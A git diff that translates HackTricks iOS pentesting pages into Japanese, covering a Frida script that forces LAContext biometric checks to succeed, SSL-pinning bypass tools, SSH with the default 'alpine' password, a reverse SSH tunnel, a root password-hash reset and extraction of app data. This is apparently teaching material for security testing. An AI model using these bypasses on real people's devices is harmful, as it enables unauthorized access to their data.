+ローカル認証をバイパスするためには、上記に貼り付けられたコードスニペットで示されているように、**evaluatePolicy**のチェックをバイパスするFridaスクリプトを作成する必要があります。上記のコードスニペットでわかるように、**evaluatePolicy**は**callback**を使用して**result**を決定します。したがって、ハックを達成する最も簡単な方法は、そのコールバックを傍受し、常に**success=1**を返すようにすることです。 ```swift // from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/ if(ObjC.available) { - console.log("Injecting..."); - var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"]; - Interceptor.attach(hook.implementation, { - onEnter: function(args) { - var block = new ObjC.Block(args[4]); - const callback = block.implementation; - block.implementation = function (error, value) { - - console.log("Changing the result value to true") - const result = callback(1, null); - return result; - }; - }, - }); +console.log("Injecting..."); +var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"]; +Interceptor.attach(hook.implementation, { +onEnter: function(args) { +var block = new ObjC.Block(args[4]); +const callback = block.implementation; +block.implementation = function (error, value) { + +console.log("Changing the result value to true") +const result = callback(1, null); +return result; +}; +}, +}); } else { - console.log("Objective-C Runtime is not available!"); +console.log("Objective-C Runtime is not available!"); } ``` ``` frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js ``` +## IPCを介した機密機能の公開 -## Sensitive Functionality Exposure Through IPC - -### Custom URI Handlers / Deeplinks / Custom Schemes +### カスタムURIハンドラー/ディープリンク/カスタムスキーム {% content-ref url="ios-custom-uri-handlers-deeplinks-custom-schemes.md" %} [ios-custom-uri-handlers-deeplinks-custom-schemes.md](ios-custom-uri-handlers-deeplinks-custom-schemes.md) {% endcontent-ref %} -### Universal Links +### ユニバーサルリンク {% content-ref url="ios-universal-links.md" %} [ios-universal-links.md](ios-universal-links.md) {% endcontent-ref %} -### UIActivity Sharing +### UIActivity共有 {% content-ref url="ios-uiactivity-sharing.md" %} [ios-uiactivity-sharing.md](ios-uiactivity-sharing.md) @@ -1144,102 +1020,94 @@ frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-i [ios-uipasteboard.md](ios-uipasteboard.md) {% endcontent-ref %} -### App Extensions +### アプリ拡張機能 {% content-ref url="ios-app-extensions.md" %} [ios-app-extensions.md](ios-app-extensions.md) {% endcontent-ref %} -### WebViews +### Webビュー {% content-ref url="ios-webviews.md" %} [ios-webviews.md](ios-webviews.md) {% endcontent-ref %} -### Serialisation and Encoding +### シリアル化とエンコーディング {% content-ref url="ios-serialisation-and-encoding.md" %} [ios-serialisation-and-encoding.md](ios-serialisation-and-encoding.md) {% endcontent-ref %} -## Network Communication +## ネットワーク通信 -It's important to check that no communication is occurring **without encryption** and also that the application is correctly **validating the TLS certificate** of the server.\ -To check these kind of issues you can use a proxy like **Burp**: +**暗号化なしでの通信が行われていないこと**と、アプリケーションがサーバーのTLS証明書を正しく**検証していること**を確認することが重要です。\ +このような問題をチェックするためには、**Burp**のようなプロキシを使用できます。 {% content-ref url="burp-configuration-for-ios.md" %} [burp-configuration-for-ios.md](burp-configuration-for-ios.md) {% endcontent-ref %} -### Hostname check +### ホスト名のチェック -One common issue validating the TLS certificate is to check that the certificate was signed by a **trusted** **CA**, but **not check** if **the hostname** of the certificate is the hostname being accessed.\ -In order to check this issue using Burp, after trusting Burp CA in the iPhone, you can **create a new certificate with Burp for a different hostname** and use it. If the application still works, then, something it's vulnerable. +TLS証明書の検証における一般的な問題は、証明書が**信頼できるCAによって署名されているかどうか**を確認することですが、証明書の**ホスト名**がアクセスされているホスト名と一致しているかどうかを**チェックしない**ことです。\ +この問題をBurpを使用してチェックするためには、iPhoneでBurp CAを信頼した後、**異なるホスト名のためにBurpで新しい証明書を作成**して使用します。アプリケーションがまだ動作する場合、何かが脆弱です。 -### Certificate Pinning +### 証明書ピニング -If an application is correctly using SSL Pinning, then the application will only works if the certificate is the once expected to be. When testing an application **this might be a problem as Burp will serve it's own certificate.**\ -In order to bypass this protection inside a jailbroken device, you can install the application [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) or install \[**Burp Mobile Assistant\_\*]\(\_**[**https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing)\\**](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing\)/)\* +アプリケーションが正しくSSLピニングを使用している場合、アプリケーションは証明書が予想されるものである場合にのみ動作します。しかし、アプリケーションをテストする際には、Burpが独自の証明書を提供するため、これは問題になる可能性があります。\ +Jailbrokenデバイス内でこの保護をバイパスするために、アプリケーション[**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2)をインストールするか、\[**Burp Mobile Assistant\_\*]\(\_**[**https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing)\\**](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing\)/)\*をインストールできます。 -You can also use **objection's** `ios sslpinning disable` +また、**objection**の`ios sslpinning disable`を使用することもできます。 -## Misc +## その他 -* In **`/System/Library`** you can find the frameworks installed in the phone used by system applications -* The applications installed by the user from the App Store are located inside **`/User/Applications`** -* And the **`/User/Library`** contains data saved by the user level applications -* You can access **`/User/Library/Notes/notes.sqlite`** to read the notes saved inside the application. -* Inside the folder of an installed application (**`/User/Applications//`**) you can find some interesting files: - * **`iTunesArtwork`**: The icon used by the app - * **`iTunesMetadata.plist`**: Info of the app used in the App Store - * **`/Library/*`**: Contains the preferences and cache. In **`/Library/Cache/Snapshots/*`** you can find the snapshot performed to the application before sending it to the background. +* **`/System/Library`**には、システムアプリケーションで使用される電話にインストールされたフレームワークがあります。 +* App Storeからユーザーがインストールしたアプリケーションは、**`/User/Applications`**内にあります。 +* **`/User/Library`**には、ユーザーレベルのアプリケーションによって保存されたデータが含まれています。 +* **`/User/Library/Notes/notes.sqlite`**にアクセスして、アプリケーション内に保存されたメモを読むことができます。 +* インストールされたアプリケーションのフォルダー(**`/User/Applications//`**)の中には、いくつかの興味深いファイルがあります: +* **`iTunesArtwork`**:アプリで使用されるアイコン +* **`iTunesMetadata.plist`**:App Storeで使用されるアプリの情報 +* **`/Library/*`**:設定とキャッシュが含まれています。**`/Library/Cache/Snapshots/*`**には、バックグラウンドに送信する前にアプリケーションに対して実行されたスナップショットがあります。 -### Hot Patching/Enforced Updateing +### ホットパッチング/強制更新 -The developers can remotely **patch all installations of their app instantly** without having to resubmit the application to the App store and wait until it's approved.\ -For this purpose it's usually use [**JSPatch**](https://github.com/bang590/JSPatch)**.** But there are other options also such as [Siren](https://github.com/ArtSabintsev/Siren) and [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\ -**This is a dangerous mechanism that could be abused by malicious third party SDKs therefore it's recommended to check which method is used to automatic updating (if any) and test it.** You could try to download a previous version of the app for this purpose. +開発者は、アプリをApp Storeに再提出して承認されるまで待つことなく、**すべてのインストールされたアプリをリモートで即座にパッチ**することができます。\ +この目的のためには、通常[**JSPatch**](https://github.com/bang590/JSPatch)**が使用されます。**ただし、[Siren](https://github.com/ArtSabintsev/Siren)や[react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker)などの他のオプションもあります。\ +**これは悪意のある第三者のSDKによって悪用される可能性がある危険なメカニズムです。そのため、自動更新に使用される方法(あれば)を確認し、テストすることが推奨されます。**この目的のために、以前のバージョンのアプリをダウンロードして試すことができます。 -### Third Parties +### サードパーティ -One problem of 3rd party SDKs is that there is **no granular control over the features offered by the SDK**. You could sue the SDK and have all features (including diagnostic leaks and insecure HTTP connections), or not use it. Also, usually it's no possible for the applications developers to **patch a vulnerability** on the SDK.\ -Moreover some SDKs start **containing malware once they are very trusted** by the community. +サードパーティのSDKの問題の一つは、SDKが提供する機能に対して**細かい制御ができない**ことです。SDKを使用すると、診断的な情報漏洩や安全でないHTTP接続を含むすべての機能を使用することになります。また、通常、アプリケーションの開発者はSDKの脆弱性を**パッチすることができません**。\ +さらに、一部のSDKは、コミュニティに非常に信頼されるようになると、**マルウェアを含むようになる**ことがあります。 -Besides, the features these services provide can involve t**racking services to monitor the user's behaviour** while using the app, selling banner advertisements, or improving the user experience. The downside to third-party services is that developers don't know the details of the code executed via third-party libraries. Consequently, no more information than is necessary should be sent to a service, and no sensitive information should be disclosed. +さらに、これらのサービスが提供する機能には、アプリの使用中にユーザーの行動を監視するための**トラッキングサービス**、バナー広告の販売、ユーザーエクスペリエンスの向上などが含まれる場合があります。サードパーティサービスのデメリットは、開発者がサードパーティライブラリを介して実行されるコードの詳細を把握できないことです。そのため、サービスに送信する情報は必要最小限にとどめ、機密情報は開示しないようにする必要があります。 -The downside is that a **developer doesn’t know in detail what code is executed via 3rd party libraries** and therefore giving up visibility. Consequently it should be ensured that not more than the information needed is sent to the service and that no sensitive information is disclosed. +データをサードパーティサービスに送信する際には、ユーザーアカウントを特定することができるPII(個人を特定できる情報)の公開を防ぐために、データを匿名化する必要があります。 -Most third-party services are implemented in two ways: +アプリケーションが使用している**ライブラリ**は、アプリに対して**`otool`**を実行することで見つけることができます(さらに使用されている共有ライブラリを見つけるために、各共有ライブラリに対して実行することもできます)。 -* with a standalone library -* with a full SDK - -All data that's sent to third-party services should be anonymized to prevent exposure of PII (Personal Identifiable Information) that would allow the third party to identify the user account. - -You can find the **libraries used by an application** by running **`otool`** against the app (and **running** it **against** **each** shared **library** to find more shared libraries used). - -## **References** +## **参考文献** * [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering) * [iOS & Mobile App Pentesting - INE](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting) +## 追加情報 -## More Information - -* [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) IOS free course([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/)) +* [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) IOS無料コース([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/)) * [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577) * [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse) * [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA) * [https://github.com/prateek147/DVIA-v2](https://github.com/prateek147/DVIA-v2) * [https://github.com/OWASP/MSTG-Hacking-Playground%20](https://github.com/OWASP/MSTG-Hacking-Playground) -* OWASP iGoat [_https://github.com/OWASP/igoat_](https://github.com/OWASP/igoat) <<< Objective-C version [_https://github.com/OWASP/iGoat-Swift_](https://github.com/OWASP/iGoat-Swift) <<< Swift version +* OWASP iGoat [_https://github.com/OWASP/igoat_](https://github.com/OWASP/igoat) <<< Objective-Cバージョン [_https://github.com/OWASP/iGoat-Swift_](https://github.com/OWASP/iGoat-Swift) <<< Swiftバージョン * [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS) * [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2) ![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -1247,10 +1115,10 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** diff --git a/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md b/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md index 4b920e552..bc4c64ed4 100644 --- a/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md +++ b/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md @@ -1,182 +1,175 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
-# Getting the UDID of an iOS device +# iOSデバイスのUDIDを取得する {% hint style="info" %} -Perform this actions having **connected** the device to the computer via **USB** and having the **device** **unlocked**. +この操作は、デバイスを**USB**でコンピュータに**接続**し、デバイスが**ロック解除**されていることを前提としています。 {% endhint %} -The UDID is a 40-digit unique sequence of letters and numbers to identify an iOS device. You can find the UDID of your iOS device on macOS Catalina onwards in the **Finder app**, as iTunes is not available anymore in Catalina. Just select the connected iOS device in Finder and **click on the information under the name of the iOS** device to iterate through it. Besides the UDID, you can find the serial number, IMEI and other useful information. +UDIDは、iOSデバイスを識別するための40桁の一意の文字列です。macOS Catalina以降では、iTunesは使用できなくなったため、UDIDをFinderアプリで見つけることができます。Finderで接続されたiOSデバイスを選択し、iOSデバイスの名前の下にある情報をクリックして、UDIDを確認できます。UDIDの他に、シリアル番号、IMEIなどの有用な情報も確認できます。 ![](<../../.gitbook/assets/image (471).png>) -If you are using a macOS version before Catalina, you can find the [UDID of your iOS device via iTunes](http://www.iclarified.com/52179/how-to-find-your-iphones-udid), by selecting your device and clicking on "Serial Number" in the summary tab. When clicking on this you will iterate through different metadata of the iOS device including its UDID. +Catalinaより前のmacOSバージョンを使用している場合は、[iTunesを介してiOSデバイスのUDIDを見つけることができます](http://www.iclarified.com/52179/how-to-find-your-iphones-udid)。デバイスを選択し、サマリータブの「シリアル番号」をクリックします。これにより、UDIDを含むiOSデバイスのさまざまなメタデータを確認できます。 -It is also possible to get the UDID via various command line tools on macOS while the device is attached via USB: +また、デバイスがUSBで接続されている間に、macOS上のさまざまなコマンドラインツールを使用してUDIDを取得することも可能です。 -* By using the [I/O Registry Explorer](https://developer.apple.com/library/archive/documentation/DeviceDrivers/Conceptual/IOKitFundamentals/TheRegistry/TheRegistry.html) tool `ioreg`: +* [I/O Registry Explorer](https://developer.apple.com/library/archive/documentation/DeviceDrivers/Conceptual/IOKitFundamentals/TheRegistry/TheRegistry.html)ツール`ioreg`を使用する方法: - ```bash - $ ioreg -p IOUSB -l | grep "USB Serial" - | "USB Serial Number" = "9e8ada44246cee813e2f8c1407520bf2f84849ec" - ``` -* By using [ideviceinstaller](https://github.com/libimobiledevice/ideviceinstaller) (also available on Linux): +```bash +$ ioreg -p IOUSB -l | grep "USB Serial" +| "USB Serial Number" = "9e8ada44246cee813e2f8c1407520bf2f84849ec" +``` +* [ideviceinstaller](https://github.com/libimobiledevice/ideviceinstaller)を使用する方法(Linuxでも利用可能): - ```bash - $ brew install ideviceinstaller - $ idevice_id -l - 316f01bd160932d2bf2f95f1f142bc29b1c62dbc - ``` -* By using the system\_profiler: +```bash +$ brew install ideviceinstaller +$ idevice_id -l +316f01bd160932d2bf2f95f1f142bc29b1c62dbc +``` +* system\_profilerを使用する方法: - ```bash - $ system_profiler SPUSBDataType | sed -n -e '/iPad/,/Serial/p;/iPhone/,/Serial/p;/iPod/,/Serial/p' | grep "Serial Number:" - 2019-09-08 10:18:03.920 system_profiler[13251:1050356] SPUSBDevice: IOCreatePlugInInterfaceForService failed 0xe00002be - Serial Number: 64655621de6ef5e56a874d63f1e1bdd14f7103b1 - ``` -* By using instruments: +```bash +$ system_profiler SPUSBDataType | sed -n -e '/iPad/,/Serial/p;/iPhone/,/Serial/p;/iPod/,/Serial/p' | grep "Serial Number:" +2019-09-08 10:18:03.920 system_profiler[13251:1050356] SPUSBDevice: IOCreatePlugInInterfaceForService failed 0xe00002be +Serial Number: 64655621de6ef5e56a874d63f1e1bdd14f7103b1 +``` +* instrumentsを使用する方法: - ```bash - $ instruments -s devices - ``` +```bash +$ instruments -s devices +``` -# Accessing the Device Shell +# デバイスシェルへのアクセス -After jailbreaking the device you should have installed some new app manager like **Cydia**. +デバイスをジェイルブレイクした後、**Cydia**のような新しいアプリマネージャーをインストールする必要があります。 ## SSH -In order to enable SSH access to your iOS device you can install the **OpenSSH** **package**. Once installed, you can access your device via ssh running `ssh root@`, which will log you in as the root user: - +iOSデバイスへのSSHアクセスを有効にするには、**OpenSSH**パッケージをインストールします。インストール後、`ssh root@`を実行してデバイスにssh経由でアクセスできます。これにより、rootユーザーとしてログインします。 ```bash $ ssh root@192.168.197.234 root@192.168.197.234's password: iPhone:~ root# ``` +iOSデバイスにSSHでアクセスする際は、以下の点に注意してください: -When accessing your iOS device via SSH consider the following: +- デフォルトのユーザーは`root`と`mobile`です。 +- 両方のデフォルトパスワードは`alpine`です。 -* The default users are `root` and `mobile`. -* The default password for both is `alpine`. +> 同じネットワーク上の誰でもデバイスのIPアドレスを見つけて、よく知られたデフォルトパスワードを使用して接続することができるため、`root`と`mobile`のデフォルトパスワードを変更することを忘れないでください。これにより、彼らはデバイスへのルートアクセスを取得することができます。 -> Remember to change the default password for both users `root` and `mobile` as anyone on the same network can find the IP address of your device and connect via the well-known default password, which will give them root access to your device. +## **USB経由でデバイスにSSH接続する** +実際のブラックボックステストでは、信頼性のあるWi-Fi接続が利用できない場合があります。このような状況では、usbmuxdを使用してUSB経由でデバイスのSSHサーバーに接続することができます。 - -## **Connect to a Device via SSH over USB** - -During a real black box test, a reliable Wi-Fi connection may not be available. In this situation, you can use usbmuxd to connect to your device's SSH server via USB. - -Connect macOS to an iOS device by installing and starting iproxy: - +macOSをiOSデバイスに接続するには、iproxyをインストールして起動します: ```bash $ brew install libimobiledevice $ iproxy 2222 22 waiting for connection ``` +上記のコマンドは、iOSデバイスのポート`22`をlocalhostのポート`2222`にマッピングします。また、[iproxyをバックグラウンドで自動実行することもできます](https://iphonedevwiki.net/index.php/SSH\_Over\_USB)。これにより、USB経由でSSHを実行するたびにバイナリを実行する必要がなくなります。 -The above command maps port `22` on the iOS device to port `2222` on localhost. You can also [make iproxy run automatically in the background](https://iphonedevwiki.net/index.php/SSH\_Over\_USB) if you don't want to run the binary every time you want to SSH over USB. - -With the following command in a new terminal window, you can connect to the device: - +次のコマンドを新しいターミナルウィンドウで実行すると、デバイスに接続できます。 ```bash $ ssh -p 2222 root@localhost root@localhost's password: iPhone:~ root# ``` +> iDeviceのUSBに関する小さな注意点:iOSデバイスでは、iOS 11.4.1で導入されたUSB制限モードにより、ロックされた状態で1時間経過すると、再度ロックを解除しない限り、データ接続を行うことはできません。 -> Small note on USB of an iDevice: on an iOS device you cannot make data connections anymore after 1 hour of being in a locked state, unless you unlock it again due to the USB Restricted Mode, which was introduced with iOS 11.4.1 +## デバイス上のシェルアプリ -## On-device Shell App +通常、リモートシェルに比べてデバイス上でのシェル(ターミナルエミュレータ)の使用は非常に手間がかかるかもしれませんが、ネットワークの問題や設定の確認などのデバッグに便利です。たとえば、[NewTerm 2](https://repo.chariz.io/package/ws.hbang.newterm2/)をCydia経由でインストールすることができます(この記事作成時点ではiOS 6.0から12.1.2をサポートしています)。 -While usually using an **on-device shell** (terminal emulator) might be very tedious compared to a remote shell, it can prove handy for debugging in case of, for example, network issues or check some configuration. For example, you can install [NewTerm 2](https://repo.chariz.io/package/ws.hbang.newterm2/) via Cydia for this purpose (it supports iOS 6.0 to 12.1.2 at the time of this writing). +さらに、いくつかのジェイルブレイクでは、セキュリティ上の理由からSSHの受信を明示的に無効にしています。その場合、デバイス内のシェルアプリを使用して、まずリバースシェルでデバイスからSSH接続し、次にホストコンピュータから接続することが非常に便利です。 -In addition, there are a few jailbreaks that explicitly disable incoming SSH _for security reasons_. In those cases, it is very convenient to have an on-device shell app, which you can use to first SSH out of the device with a reverse shell, and then connect from your host computer to it. - -Opening a reverse shell over SSH can be done by running the command `ssh -R :localhost:22 @`. - -On the on-device shell app run the following command and, when asked, enter the password of the `mstg` user of the host computer: +SSHを介してリバースシェルを開くには、次のコマンドを実行します:`ssh -R :localhost:22 @`。 +デバイス上のシェルアプリで以下のコマンドを実行し、求められた場合はホストコンピュータの`mstg`ユーザーのパスワードを入力してください: ```bash ssh -R 2222:localhost:22 mstg@192.168.197.235 ``` - -On your host computer run the following command and, when asked, enter the password of the `root` user of the iOS device: - +ホストコンピュータで次のコマンドを実行し、求められたらiOSデバイスの`root`ユーザーのパスワードを入力してください: ```bash $ ssh -p 2222 root@localhost ``` +## **パスワードを忘れた場合** -## **Forgotten Password** +パスワードを忘れて、デフォルトの `alpine` にリセットしたい場合は、以下の手順を実行します: -If you forget your password and want to reset it to the default `alpine`: +1. デバイス内の **ターミナル** や **Filza** や **iFile** のようなアプリを使用して、jailbroken iOS デバイス上の `/private/etc/master.passwd` ファイルを編集します。 +2. 次の行を見つけます: -1. Edit the file `/private/etc/master.passwd` on your jailbroken iOS device using an on-device **terminal** or using apps like **Filza** or **iFile** -2. Find the lines: +```bash +root:xxxxxxxxx:0:0::0:0:System Administrator:/var/root:/bin/sh +mobile:xxxxxxxxx:501:501::0:0:Mobile User:/var/mobile:/bin/sh +``` +3. `xxxxxxxxx` を `/smx7MYTQIi2M` に変更します(これはパスワード `alpine` のハッシュです)。 +4. 保存して終了します。 - ```bash - root:xxxxxxxxx:0:0::0:0:System Administrator:/var/root:/bin/sh - mobile:xxxxxxxxx:501:501::0:0:Mobile User:/var/mobile:/bin/sh - ``` -3. Change `xxxxxxxxx` to `/smx7MYTQIi2M` (which is the hashed password `alpine`) -4. Save and exit +# データの転送 -# Data Transfer - -## Copying App Data Files via SSH and SCP - -As we know now, files from our app are stored in the Data directory. You can now simply archive the Data directory with `tar` and pull it from the device with `scp`: +## SSH と SCP を使用したアプリデータファイルのコピー +アプリのファイルはデータディレクトリに保存されていることがわかりました。`tar` を使用してデータディレクトリをアーカイブし、`scp` を使用してデバイスから取得できます。 ```bash iPhone:~ root# tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693 iPhone:~ root# exit $ scp -P 2222 root@localhost:/tmp/data.tgz . ``` +## iFunboxの使用 -## Using iFunbox - -[**iFunbox**](https://www.i-funbox.com/en/page-download.html) is a GUI application that can be used for several things (uploading/downloading files among them).\ -Another GUI tool for this purpose is [**iExplorer**](https://macroplant.com/iexplorer). +[**iFunbox**](https://www.i-funbox.com/en/page-download.html)は、いくつかのことに使用できるGUIアプリケーションです(ファイルのアップロード/ダウンロードなど)。\ +この目的のための別のGUIツールは[**iExplorer**](https://macroplant.com/iexplorer)です。 {% hint style="info" %} -Starting in iOS version 8.4, Apple has **restricted the third-party managers to access to the application sandbox**, so tools like iFunbox and iExplorer no longer display/retrieve files from apps installed on the device if the device isn't jailbroken. +iOSバージョン8.4以降、Appleは**サードパーティのマネージャがアプリケーションのサンドボックスにアクセスすることを制限**しています。そのため、デバイスがジェイルブレイクされていない場合、iFunboxやiExplorerのようなツールはデバイスにインストールされたアプリからファイルを表示/取得できなくなります。 {% endhint %} -## Using Objection - -When you are starting objection (`objection --gadget com.apple.mobilesafari explorer`) you will find the prompt within the Bundle directory. +## Objectionの使用 +Objectionを起動すると(`objection --gadget com.apple.mobilesafari explorer`)、Bundleディレクトリ内にプロンプトが表示されます。 ```bash org.owasp.MSTG on (iPhone: 10.3.3) [usb] # pwd print Current directory: /var/containers/Bundle/Application/DABF849D-493E-464C-B66B-B8B6C53A4E76/org.owasp.MSTG.app ``` +`env`コマンドを使用して、アプリのディレクトリを取得し、Documentsディレクトリに移動します。 -Use the `env` command to get the directories of the app and navigate to the Documents directory. +```bash +envコマンドを使用して、アプリのディレクトリを取得します。 +```bash +env +``` + +Documentsディレクトリに移動します。 + +```bash +cd /path/to/Documents +``` +``` ```bash org.owasp.MSTG on (iPhone: 10.3.3) [usb] # cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents ``` - -With the command `file download ` you can download a file from the iOS device to your host computer and can analyze it afterwards. - +コマンド `file download ` を使用すると、iOSデバイスからファイルをホストコンピュータにダウンロードし、その後解析することができます。 ```bash org.owasp.MSTG on (iPhone: 10.3.3) [usb] # file download .com.apple.mobile_container_manager.metadata.plist Downloading /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/.com.apple.mobile_container_manager.metadata.plist to .com.apple.mobile_container_manager.metadata.plist @@ -184,137 +177,129 @@ Streaming file from device... Writing bytes to destination... Successfully downloaded /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/.com.apple.mobile_container_manager.metadata.plist to .com.apple.mobile_container_manager.metadata.plist ``` +iOSデバイスには、`file upload `を使用してファイルをアップロードすることもできます。 -You can also upload files to the iOS device with `file upload `. +# アプリの取得と抽出 -# Obtaining and Extracting Apps - -## Getting the IPA File from an OTA Distribution Link - -During development, apps are sometimes provided to testers via over-the-air (OTA) distribution. In that situation, you'll receive an itms-services link, such as the following: +## OTA配布リンクからIPAファイルを取得する +開発中、アプリはテスターにOTA配布経由で提供されることがあります。その場合、以下のようなitms-servicesリンクを受け取ることがあります。 ``` itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist ``` +[ITMS services asset 